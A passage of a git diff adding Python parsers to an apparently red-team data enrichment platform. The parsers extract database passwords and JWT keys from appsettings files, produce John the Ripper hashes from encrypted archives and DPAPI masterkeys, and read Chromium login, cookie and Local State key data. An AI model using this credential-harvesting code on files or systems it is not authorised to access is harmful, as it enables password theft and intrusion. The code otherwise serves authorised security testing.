internal File path matches our target criteria. + """ + regex_string = ".*/.*(appsettings).*\\.json" + return re.search(regex_string, self.file_data.path, re.IGNORECASE) is not None + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + if os.path.getsize(self.file_path) > 1000000: + return False + + return helpers.scan_with_yara(self.file_path, "appsettings") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + + parsed_data = pb.ParsedData() + auth_data_msg = pb.AuthenticationDataIngestionMessage() + + try: + auth_data_msg.metadata.CopyFrom(self.metadata) + + with open(self.file_path, "r") as f: + json_data = json.loads(f.read()) + + if "ConnectionStrings" in json_data: + for key in json_data["ConnectionStrings"].keys(): + try: + connection_string_raw = json_data["ConnectionStrings"][key] + + connection_string = parsed_data.appsettings.connection_strings.add() + connection_string.name = key + + for part in connection_string_raw.split(";"): + # special exception for Oracle + temp = part.split(")(") + if len(temp) > 3: + contents = list(parenthetic_contents(part)) + for content in contents: + if content[0].lower() == "host": + connection_string.database_credential.server = content[1] + elif content[0].lower() == "port": + connection_string.database_credential.server = f"{connection_string.database_credential.server}:{content[1]}" + elif content[0].lower() == "service_name": + connection_string.database_credential.database = content[1] + else: + temp = part.split("=") + if len(temp) > 1: + key = temp[0] + value = "=".join(temp[1:]) + if re.match("^(User Id|UID)$", key, re.IGNORECASE): + connection_string.database_credential.username = value + elif re.match("^(Server|HOST|Data Source)$", key, re.IGNORECASE): + connection_string.database_credential.server = value + elif re.match("^(port)$", key, re.IGNORECASE): + connection_string.database_credential.server = f"{connection_string.database_credential.server}:{value}" + elif re.match("^Database$", key, re.IGNORECASE): + connection_string.database_credential.database = value + elif re.match("^(password|PWD)$", key, re.IGNORECASE): + connection_string.database_credential.password = value + if value != "": + # signal that we do have parsed credentials + parsed_data.has_parsed_credentials = True + + if connection_string.database_credential.server and connection_string.database_credential.username and connection_string.database_credential.password: + auth_data = auth_data_msg.data.add() + auth_data.data = connection_string.database_credential.password + auth_data.type = "password" + if connection_string.database_credential.database: + auth_data.uri = f"db://{connection_string.database_credential.server}/{connection_string.database_credential.database}" + else: + auth_data.uri = f"db://{connection_string.database_credential.server}" + auth_data.username = connection_string.database_credential.database + auth_data.notes = "database credential parsed from file_processor->appsettings" + auth_data.originating_object_id = self.file_data.object_id + + except Exception as e: + logger.exception(e, message="appsettings.py parse() error on ConnectionString") + + elif "JwtToken" in json_data: + try: + jwt_token_data = json_data["JwtToken"] + jwt_token = parsed_data.appsettings.jwt_tokens.add() + + auth_data = auth_data_msg.data.add() + auth_data.type = "password" + auth_data.data = jwt_token_data + auth_data.notes = "JWT parsed from file_processor->appsettings" + auth_data.originating_object_id = self.file_data.object_id + + if "key" in jwt_token_data: + jwt_token.key = jwt_token_data["key"] + if "issuer" in jwt_token_data: + jwt_token.issuer = jwt_token_data["issuer"] + if "audience" in jwt_token_data: + jwt_token.audience = jwt_token_data["audience"] + if "minutestoexpiration" in jwt_token_data: + jwt_token.minutes_to_expiration = jwt_token_data["minutestoexpiration"] + + except Exception as e: + logger.exception(e, message="appsettings.py parse() error on JwtToken") + + return (parsed_data, auth_data_msg) + + except Exception as e: + logger.exception(e, message="appsettings.py parse() error", file_uuid=self.file_data.object_id, auth_data=auth_data_msg) + return (helpers.nemesis_parsed_data_error(f"error parsing appsettings file {self.file_data.object_id} : {e}"), auth_data_msg) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/archive.py b/cmd/enrichment/enrichment/lib/file_parsers/archive.py new file mode 100644 index 0000000..661ceee --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/archive.py @@ -0,0 +1,157 @@ +# Standard Libraries +import datetime +import ntpath +import re +import subprocess +import zipfile + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb +import py7zr + + +class archive(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + + if re.match(".*\.(zip|tar\.gz|7z)$", self.file_data.path): + return True + else: + return False + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria + using the associated Yara rule. + """ + + return helpers.is_archive(self.file_path) + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + + if zipfile.is_zipfile(self.file_path): + return self.parse_zip() + elif py7zr.is_7zfile(self.file_path): + return self.parse_7z() + else: + return (helpers.nemesis_parsed_data_error(f"file is not a supported archive: {self.file_data.object_id}"), pb.AuthenticationDataIngestionMessage()) + + def parse_zip(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Helper to parse a file zip. + """ + + parsed_data = pb.ParsedData() + auth_data_msg = pb.AuthenticationDataIngestionMessage() + + try: + auth_data_msg.metadata.CopyFrom(self.metadata) + parsed_data.archive.type = "zip" + parsed_data.archive.uncompressed_size = helpers.get_archive_size(self.file_path) + enc_file_path = "" + + with zipfile.ZipFile(self.file_path, "r") as zipObj: + for elem in zipObj.infolist(): + entry = parsed_data.archive.entries.add() + entry.name = elem.filename + entry.is_dir = elem.is_dir() + entry.last_modified.FromDatetime(datetime.datetime(*elem.date_time)) + entry.compress_size = elem.compress_size + entry.uncompress_size = elem.file_size + + # ref https://hg.python.org/cpython/file/2.7/Lib/zipfile.py#l985 + # if we don't already have a hash extracted, and this elem is a file and encrypted + if not parsed_data.archive.is_encrypted and not elem.is_dir() and elem.flag_bits & 0x1: + parsed_data.is_encrypted = True + parsed_data.archive.is_encrypted = True + # save this path so we can efficiently use zip2john on just this file + # instead of iterating over several internal files + enc_file_path = elem.filename + + if parsed_data.archive.is_encrypted and enc_file_path != "": + result = subprocess.run( + ["/opt/john/run/zip2john", self.file_path, "-o", enc_file_path], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + jtr_output = result.stdout.decode("utf-8").strip() + + # valid results start with ID/subfile + if jtr_output.startswith(f"{ntpath.basename(self.file_path)}/{enc_file_path}"): + parsed_data.archive.encryption_hash = jtr_output + + auth_data = auth_data_msg.data.add() + auth_data.data = parsed_data.archive.encryption_hash + auth_data.type = "hash_archive" + auth_data.notes = "hash extracted from file_processor->archive" + auth_data.originating_object_id = self.file_data.object_id + + return (parsed_data, auth_data_msg) + + except Exception as e: + return (helpers.nemesis_parsed_data_error(f"error parsing zip file {self.file_data.object_id} : {e}"), auth_data_msg) + + def parse_7z(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Helper to parse a 7zip file. + """ + + parsed_data = pb.ParsedData() + auth_data_msg = pb.AuthenticationDataIngestionMessage() + + try: + auth_data_msg.metadata.CopyFrom(self.metadata) + parsed_data.archive.uncompressed_size = helpers.get_archive_size(self.file_path) + parsed_data.archive.type = "7z" + + with py7zr.SevenZipFile(self.file_path, "r") as zipObj: + parsed_data.is_encrypted = zipObj.password_protected + parsed_data.archive.is_encrypted = zipObj.password_protected + + for elem in zipObj.files: + entry = parsed_data.archive.entries.add() + entry.name = elem.filename + entry.is_dir = elem.is_directory + if elem.lastwritetime: + entry.last_modified.FromDatetime(elem.lastwritetime.as_datetime()) + if elem.compressed: + entry.compress_size = elem.compressed + if elem.uncompressed: + entry.uncompress_size = elem.uncompressed + + if parsed_data.archive.is_encrypted: + result = subprocess.run( + ["/opt/john/run/7z2john.pl", self.file_path], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + jtr_output = result.stdout.decode("utf-8").strip() + + if jtr_output.startswith(f"{ntpath.basename(self.file_path)}"): + parsed_data.archive.encryption_hash = jtr_output + + auth_data = auth_data_msg.data.add() + auth_data.data = parsed_data.archive.encryption_hash + auth_data.type = "hash_archive" + auth_data.notes = "hash extracted from file_processor->archive" + auth_data.originating_object_id = self.file_data.object_id + + return (parsed_data, auth_data_msg) + + except Exception as e: + return (helpers.nemesis_parsed_data_error(f"error parsing 7z file {self.file_data.object_id} : {e}"), auth_data_msg) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/chromium_cookies.py b/cmd/enrichment/enrichment/lib/file_parsers/chromium_cookies.py new file mode 100644 index 0000000..bee99ee --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/chromium_cookies.py @@ -0,0 +1,62 @@ +# Standard Libraries +import sqlite3 + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb + + +class chromium_cookies(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path) + if chromium_file_path.success and chromium_file_path.file_type == "cookies": + return True + else: + return False + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria + using the associated Yara rule. + """ + return helpers.scan_with_yara(self.file_path, "chromium_cookies") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage] | pb.ParsedData: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + # build protobuf w/o the actual entries, detect/reprocess on the file side + + parsed_data = pb.ParsedData() + + chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path) + parsed_data.chromium_cookies.user_data_directory = chromium_file_path.user_data_directory + parsed_data.chromium_cookies.browser = chromium_file_path.browser + parsed_data.chromium_cookies.username = chromium_file_path.username + + try: + with sqlite3.connect(self.file_path) as con: + cur = con.cursor() + res = cur.execute("SELECT Count(*) FROM cookies") + cookies_count = res.fetchone() + if cookies_count: + parsed_data.chromium_cookies.cookies_count = cookies_count[0] + return (parsed_data, pb.AuthenticationDataIngestionMessage()) + + except Exception as e: + return ( + helpers.nemesis_parsed_data_error(f"error parsing Chromium 'Cookies' file {self.file_data.object_id} : {e}"), + pb.AuthenticationDataIngestionMessage(), + ) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/chromium_history.py b/cmd/enrichment/enrichment/lib/file_parsers/chromium_history.py new file mode 100644 index 0000000..9e71eae --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/chromium_history.py @@ -0,0 +1,67 @@ +# Standard Libraries +import sqlite3 + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb + + +class chromium_history(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path) + if chromium_file_path.success and chromium_file_path.file_type == "history": + return True + else: + return False + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria + using the associated Yara rule. + """ + return helpers.scan_with_yara(self.file_path, "chromium_history") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage] | pb.ParsedData: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + # build protobuf w/o the actual entries, detect/reprocess on the file side + + parsed_data = pb.ParsedData() + + chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path) + parsed_data.chromium_history.user_data_directory = chromium_file_path.user_data_directory + parsed_data.chromium_history.browser = chromium_file_path.browser + parsed_data.chromium_history.username = chromium_file_path.username + + try: + with sqlite3.connect(self.file_path) as con: + cur = con.cursor() + res = cur.execute("SELECT Count(*) FROM urls") + urls_count = res.fetchone() + if urls_count: + parsed_data.chromium_history.urls_count = urls_count[0] + res = cur.execute("SELECT Count(*) FROM downloads") + downloads_count = res.fetchone() + if downloads_count: + parsed_data.chromium_history.downloads_count = downloads_count[0] + + return (parsed_data, pb.AuthenticationDataIngestionMessage()) + + except Exception as e: + return ( + helpers.nemesis_parsed_data_error(f"error parsing Chromium 'History' file {self.file_data.object_id} : {e}"), + pb.AuthenticationDataIngestionMessage(), + ) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/chromium_logins.py b/cmd/enrichment/enrichment/lib/file_parsers/chromium_logins.py new file mode 100644 index 0000000..9156c61 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/chromium_logins.py @@ -0,0 +1,62 @@ +# Standard Libraries +import sqlite3 + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb + + +class chromium_logins(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path) + if chromium_file_path.success and chromium_file_path.file_type == "logins": + return True + else: + return False + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria + using the associated Yara rule. + """ + return helpers.scan_with_yara(self.file_path, "chromium_logins") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage] | pb.ParsedData: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + # build protobuf w/o the actual entries, detect/reprocess on the file side + + parsed_data = pb.ParsedData() + + chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path) + parsed_data.chromium_logins.user_data_directory = chromium_file_path.user_data_directory + parsed_data.chromium_logins.browser = chromium_file_path.browser + parsed_data.chromium_logins.username = chromium_file_path.username + + try: + with sqlite3.connect(self.file_path) as con: + cur = con.cursor() + res = cur.execute("SELECT Count(*) FROM logins") + logins_count = res.fetchone() + if logins_count: + parsed_data.chromium_logins.logins_count = logins_count[0] + return (parsed_data, pb.AuthenticationDataIngestionMessage()) + + except Exception as e: + return ( + helpers.nemesis_parsed_data_error(f"error parsing Chromium 'Login Data' file {self.file_data.object_id} : {e}"), + pb.AuthenticationDataIngestionMessage(), + ) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/chromium_state_file.py b/cmd/enrichment/enrichment/lib/file_parsers/chromium_state_file.py new file mode 100644 index 0000000..928eed1 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/chromium_state_file.py @@ -0,0 +1,98 @@ +# Standard Libraries +import asyncio +import base64 +import json +from datetime import datetime + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb + + +class chromium_state_file(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path) + if chromium_file_path.success and chromium_file_path.file_type == "state": + return True + else: + return False + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria + using the associated Yara rule. + """ + return helpers.scan_with_yara(self.file_path, "chromium_state_file") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage] | pb.ParsedData: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + # build protobuf w/o the actual entries, detect/reprocess on the file side + + parsed_data = pb.ParsedData() + + chromium_file_path = helpers.parse_chromium_file_path(self.file_data.path) + parsed_data.chromium_state_file.user_data_directory = chromium_file_path.user_data_directory + parsed_data.chromium_state_file.browser = chromium_file_path.browser + parsed_data.chromium_state_file.username = chromium_file_path.username + parsed_data.chromium_state_file.originating_object_id = self.file_data.object_id + parsed_data.chromium_state_file.masterkey_guid = "00000000-0000-0000-0000-000000000000" # default null for UUID + + try: + with open(self.file_path, "r") as f: + state_file_json = json.loads(f.read()) + os_crypt = state_file_json["os_crypt"] + + if "app_bound_fixed_data" in os_crypt: + app_bound_fixed_data_enc = base64.b64decode(os_crypt["app_bound_fixed_data"]) + parsed_data.chromium_state_file.app_bound_fixed_data_enc = app_bound_fixed_data_enc + + if "encrypted_key" in os_crypt: + key_bytes_enc = base64.b64decode(os_crypt["encrypted_key"]) + + if key_bytes_enc[0:5] == b"DPAPI": + key_bytes_enc = key_bytes_enc[5:] + parsed_data.chromium_state_file.key_bytes_enc = key_bytes_enc + + # run this async function synchronously + key_bytes_info = helpers.parse_dpapi_blob_sync(key_bytes_enc) + + if key_bytes_info.success: + parsed_data.chromium_state_file.masterkey_guid = key_bytes_info.dpapi_master_key_guid + else: + # Unknown encryption type + parsed_data.chromium_state_file.key_bytes_enc = key_bytes_enc + + if "uninstall_metrics" in state_file_json: + if "installation_date2" in state_file_json["uninstall_metrics"]: + try: + installation_date = datetime.fromtimestamp(int(state_file_json["uninstall_metrics"]["installation_date2"])) + parsed_data.chromium_state_file.installation_date.FromDatetime(installation_date) + except: + pass + if "launch_count" in state_file_json["uninstall_metrics"]: + try: + parsed_data.chromium_state_file.launch_count = int(state_file_json["uninstall_metrics"]["launch_count"]) + except: + pass + + return (parsed_data, pb.AuthenticationDataIngestionMessage()) + + except Exception as e: + return ( + helpers.nemesis_parsed_data_error(f"error parsing Chromium 'Local State' file {self.file_data.object_id} : {e}"), + pb.AuthenticationDataIngestionMessage(), + ) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/dotnet_assembly.py b/cmd/enrichment/enrichment/lib/file_parsers/dotnet_assembly.py new file mode 100644 index 0000000..c2eb5ba --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/dotnet_assembly.py @@ -0,0 +1,293 @@ +# Standard Libraries +import datetime +import hashlib +import json + +# 3rd Party Libraries +import dnfile +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import lief +import nemesispb.nemesis_pb2 as pb +import structlog + +logger = structlog.get_logger(module=__name__) + + +def format_optional_header(pe, parsed_data): + parsed_data.dotnet_assembly.header.major_image_version = pe.optional_header.major_image_version + parsed_data.dotnet_assembly.header.major_linker_version = pe.optional_header.major_linker_version + parsed_data.dotnet_assembly.header.major_operating_system_version = pe.optional_header.major_operating_system_version + parsed_data.dotnet_assembly.header.major_subsystem_version = pe.optional_header.major_subsystem_version + parsed_data.dotnet_assembly.header.minor_image_version = pe.optional_header.minor_image_version + parsed_data.dotnet_assembly.header.minor_linker_version = pe.optional_header.minor_linker_version + parsed_data.dotnet_assembly.header.minor_operating_system_version = pe.optional_header.minor_operating_system_version + parsed_data.dotnet_assembly.header.minor_subsystem_version = pe.optional_header.minor_subsystem_version + parsed_data.dotnet_assembly.header.time_date_stamp.FromDatetime(datetime.datetime.fromtimestamp(pe.header.time_date_stamps)) + + +def format_export(pe, parsed_data): + for entry in pe.exported_functions: + symbol = parsed_data.dotnet_assembly.exports.symbols.add() + symbol.func_name = entry.name + symbol.offset = pe.optional_header.imagebase + entry.address + + +def format_import(pe, parsed_data): + for imp in pe.imports: + dll = parsed_data.dotnet_assembly.imports.dlls.add() + dll.name = imp.name + + for entry in imp.entries: + if entry.name: + func = dll.symbols.add() + func.func_name = entry.name + func.offset = entry.iat_value + + +def format_signatures(pe, parsed_data): + for sig in pe.signatures: + signature = parsed_data.dotnet_assembly.signatures.add() + signature.version = sig.version + + for signer in sig.signers: + signature.signers.extend([signer.issuer]) + + signature.verification_flags = sig.check() + + +def format_version_info(pe, parsed_data): + raw = json.loads(lief.to_json(pe.resources_manager.version.string_file_info)) + version_info_json = raw["langcode_items"][0]["items"] + + if "Assembly Version" in version_info_json: + parsed_data.dotnet_assembly.version_info.assembly_version = version_info_json["Assembly Version"] + if "Comments" in version_info_json: + parsed_data.dotnet_assembly.version_info.comments = version_info_json["Comments"] + if "CompanyName" in version_info_json: + parsed_data.dotnet_assembly.version_info.company_name = version_info_json["CompanyName"] + if "FileDescription" in version_info_json: + parsed_data.dotnet_assembly.version_info.file_description = version_info_json["FileDescription"] + if "FileVersion" in version_info_json: + parsed_data.dotnet_assembly.version_info.file_version = version_info_json["FileVersion"] + if "InternalName" in version_info_json: + parsed_data.dotnet_assembly.version_info.internal_name = version_info_json["InternalName"] + if "LegalCopyright" in version_info_json: + parsed_data.dotnet_assembly.version_info.legal_copyright = version_info_json["LegalCopyright"] + if "LegalTrademarks" in version_info_json: + parsed_data.dotnet_assembly.version_info.legal_trademarks = version_info_json["LegalTrademarks"] + if "OriginalFilename" in version_info_json: + parsed_data.dotnet_assembly.version_info.original_filename = version_info_json["OriginalFilename"] + if "PrivateBuild" in version_info_json: + parsed_data.dotnet_assembly.version_info.private_build = version_info_json["PrivateBuild"] + if "ProductName" in version_info_json: + parsed_data.dotnet_assembly.version_info.product_name = version_info_json["ProductName"] + if "ProductVersion" in version_info_json: + parsed_data.dotnet_assembly.version_info.product_version = version_info_json["ProductVersion"] + if "SpecialBuild" in version_info_json: + parsed_data.dotnet_assembly.version_info.special_build = version_info_json["SpecialBuild"] + + +def get_typerefs(pe): + # ref - https://github.com/malwarefrank/dnfile/blob/master/examples/typeref-list.py + + # shortcut to the TypeRef table + tr = pe.net.mdtables.TypeRef + if not tr or tr.num_rows < 1 or not tr.rows: + # if empty table (possible error with file), skip file + return {"error": "empty TypeRef table"} + + typerefs = {} + + # for each entry in the TypeRef table + for row in tr: + # # if the ResolutionScope includes a reference to another table + # if row.ResolutionScope and row.ResolutionScope.table: + # # make note of the table name + # res_table = row.ResolutionScope.table.name + # # and resolve it to a string + # try: + # res_name = getattr(row.ResolutionScope.row, "Name") or getattr( + # row.ResolutionScope.row, "TypeName" + # ) + # except: + # pass + # else: + # # otherwise + # res_table = None + # res_name = None + + if row.TypeNamespace in typerefs: + typerefs[row.TypeNamespace].append(row.TypeName) + else: + typerefs[row.TypeNamespace] = [row.TypeName] + + return typerefs + + +def process_resources(pe): + # # ref - https://github.com/malwarefrank/dnfile#quick-start + # # access the streams + # for s in pe.net.metadata.streams_list: + # if isinstance(s, dnfile.stream.MetaDataTables): + # # how many Metadata tables are defined in the binary? + # num_of_tables = len(s.tables_list) + + # # the last Metadata tables stream can also be accessed by a shortcut + # num_of_tables = len(pe.net.mdtables.tables_list) + + # create a set to hold the hashes of all resources + resources = {} + + for r in pe.net.resources: + # if resource data is a simple byte stream + if isinstance(r.data, bytes): + resources[r.name] = [hashlib.md5(r.data).hexdigest(), hashlib.sha1(r.data).hexdigest(), hashlib.sha256(r.data).hexdigest()] + # if resource data is a ResourceSet, a dotnet-specific datatype + elif isinstance(r.data, dnfile.resource.ResourceSet): + # if there are no entries, skip it + if not r.data.entries: + continue + # for each entry in the ResourceSet + for entry in r.data.entries: + # if it has data + if entry.data: + # hash it and add the hash to the set + resources[r.name] = [ + hashlib.md5(entry.data).hexdigest(), + hashlib.sha1(entry.data).hexdigest(), + hashlib.sha256(entry.data).hexdigest(), + ] + + return resources + + +def parse_assembly(filename: str) -> pb.ParsedData: + """ + Parses an assembly fileto a formatted protobuf. + """ + + parsed_data = pb.ParsedData() + + try: + pe = lief.parse(filename) + + # general PE fields + try: + format_import(pe, parsed_data) + except Exception as e: + logger.exception(e, message="Exception parsing imports in parse_pe()") + + try: + format_optional_header(pe, parsed_data) + except Exception as e: + logger.exception(e, message="Exception parsing optional headers in parse_pe()") + + try: + format_export(pe, parsed_data) + except Exception as e: + logger.exception(e, message="Exception parsing exports in parse_pe()") + + try: + format_version_info(pe, parsed_data) + except Exception as e: + logger.exception(e, message="Exception parsing version_info in parse_pe()") + + try: + format_signatures(pe, parsed_data) + except Exception as e: + logger.exception(e, message="Exception parsing signatures in parse_pe()") + + assembly: dnfile.dnPE | None = None + try: + # .NET specific things + assembly = dnfile.dnPE(filename) + except Exception as e: + logger.exception(e, message="Exception parsing assembly in parse_pe()") + + if assembly is None: + return parsed_data + + if assembly.net: + # .NET version + if assembly.net.metadata and assembly.net.metadata.struct: + parsed_data.dotnet_assembly.dotnet_version = str(assembly.net.metadata.struct.Version) + + # P/Invoke type signatures + try: + if assembly.net.mdtables.ImplMap: + for row in assembly.net.mdtables.ImplMap: + impl_entry = pb.ImplMapEntry() + + if row.ImportScope.row and row.ImportScope.row.Name: + impl_entry.module_name = row.ImportScope.row.Name + impl_entry.function_name = row.ImportName + parsed_data.dotnet_assembly.impl_map_entries.append(impl_entry) + except Exception as e: + logger.exception(e, message="Exception parsing impl entries in parse_pe()") + + # PDB string + # TODO: possible in regular PEs? + try: + debug_info = [] + for entry in pe.DIRECTORY_ENTRY_DEBUG: + debug_info.append(entry.entry.dump_dict()) + parsed_data.dotnet_assembly.pdb_string = debug_info[0]["PdbFileName"]["Value"].rstrip("\\x00") + except: + pass + + try: + # resource names + hashes + for name, hashes in process_resources(assembly).items(): + resource = parsed_data.dotnet_assembly.resources.add() + resource.name = name + resource.md5 = hashes[0] + resource.sha1 = hashes[1] + resource.sha256 = hashes[2] + except Exception as e: + logger.exception(e, message="Exception parsing resource names/hashes in parse_pe()") + + try: + # typerefs + for library, functions in get_typerefs(assembly).items(): + for function in functions: + typeref = parsed_data.dotnet_assembly.typerefs.add() + typeref.module_name = library + typeref.function_name = function + except Exception as e: + logger.exception(e, message="Exception parsing typerefs in parse_pe()") + + except Exception as e: + # return helpers.nemesis_parsed_data_error(f"error parsing pe file {filename} : {e}") + logger.exception(e, message="error parsing pe file", filename=filename) + + return parsed_data + + +class dotnet_assembly(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + return helpers.is_pe_extension(self.file_data.path) + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria + using the associated Yara rule. + """ + return helpers.scan_with_yara(self.file_path, "dotnet_assembly") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + return (parse_assembly(self.file_path), pb.AuthenticationDataIngestionMessage()) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/dpapi_masterkey.py b/cmd/enrichment/enrichment/lib/file_parsers/dpapi_masterkey.py new file mode 100644 index 0000000..efee533 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/dpapi_masterkey.py @@ -0,0 +1,95 @@ +# Standard Libraries +import sys +from typing import List + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb +import structlog +from enrichment.lib.ext_tools.DPAPImk2john import MasterKeyFile + +logger = structlog.get_logger(module=__name__) + + +class dpapi_masterkey(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + path_out = helpers.parse_masterkey_file_path(self.file_data.path) + return (path_out is not None) and (path_out != {}) + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria + using the associated Yara rule. + """ + return helpers.scan_with_yara(self.file_path, "dpapi_masterkey") + + def extract_hash(self, context) -> List[str]: + """Uses DPAPImk2john to extract one or more hashes for this masterkey.""" + + path_out = helpers.parse_masterkey_file_path(self.file_data.path) + + if (path_out is not None) and (path_out != {}) and path_out["sid"]: + sid = path_out["sid"] + + with open(self.file_path, "rb") as f: + mkdata = f.read() + + try: + mk = MasterKeyFile(raw=mkdata, SID=sid, context=context) + return [hash for hash in mk.masterkey.jhash().split("\n") if hash.startswith("$DPAPImk$")] + + except Exception as e: + logger.exception(e) + return [] + else: + logger.warning("User SID not populated from original file path") + return [] + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage] | pb.ParsedData: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + try: + dpapi_masterkey = helpers.process_masterkey_file(self.file_data.object_id, self.file_path, self.file_data.path, self.metadata) + + if not dpapi_masterkey: + return helpers.nemesis_parsed_data_error(f"Could not find a masterkey in the file. File ID: {self.file_data.object_id}") + + if dpapi_masterkey.domain_backupkey_guid: + context = "domain" + else: + context = "local" + + hashes = self.extract_hash(context) + + auth_data_msg = pb.AuthenticationDataIngestionMessage() + if hashes: + auth_data_msg.metadata.CopyFrom(self.metadata) + for hash in hashes: + auth_data = auth_data_msg.data.add() + auth_data.data = hash + auth_data.type = "hash_dpapi_masterkey" + auth_data.notes = "hash extracted from file_processor->dpapi_masterkey" + auth_data.originating_object_id = self.file_data.object_id + + parsed_data = pb.ParsedData() + parsed_data.dpapi_masterkey.CopyFrom(dpapi_masterkey) + return (parsed_data, auth_data_msg) + + except Exception as e: + return ( + helpers.nemesis_parsed_data_error(f"error parsing masterkey file {self.file_data.object_id} : {e}"), + pb.AuthenticationDataIngestionMessage(), + ) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/group_policy_preferences.py b/cmd/enrichment/enrichment/lib/file_parsers/group_policy_preferences.py new file mode 100644 index 0000000..42e4353 --- /dev/null +++ 